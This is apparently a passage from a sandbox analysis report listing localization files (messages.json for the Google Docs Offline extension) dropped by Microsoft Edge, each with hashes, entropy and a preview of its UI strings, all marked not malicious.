Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
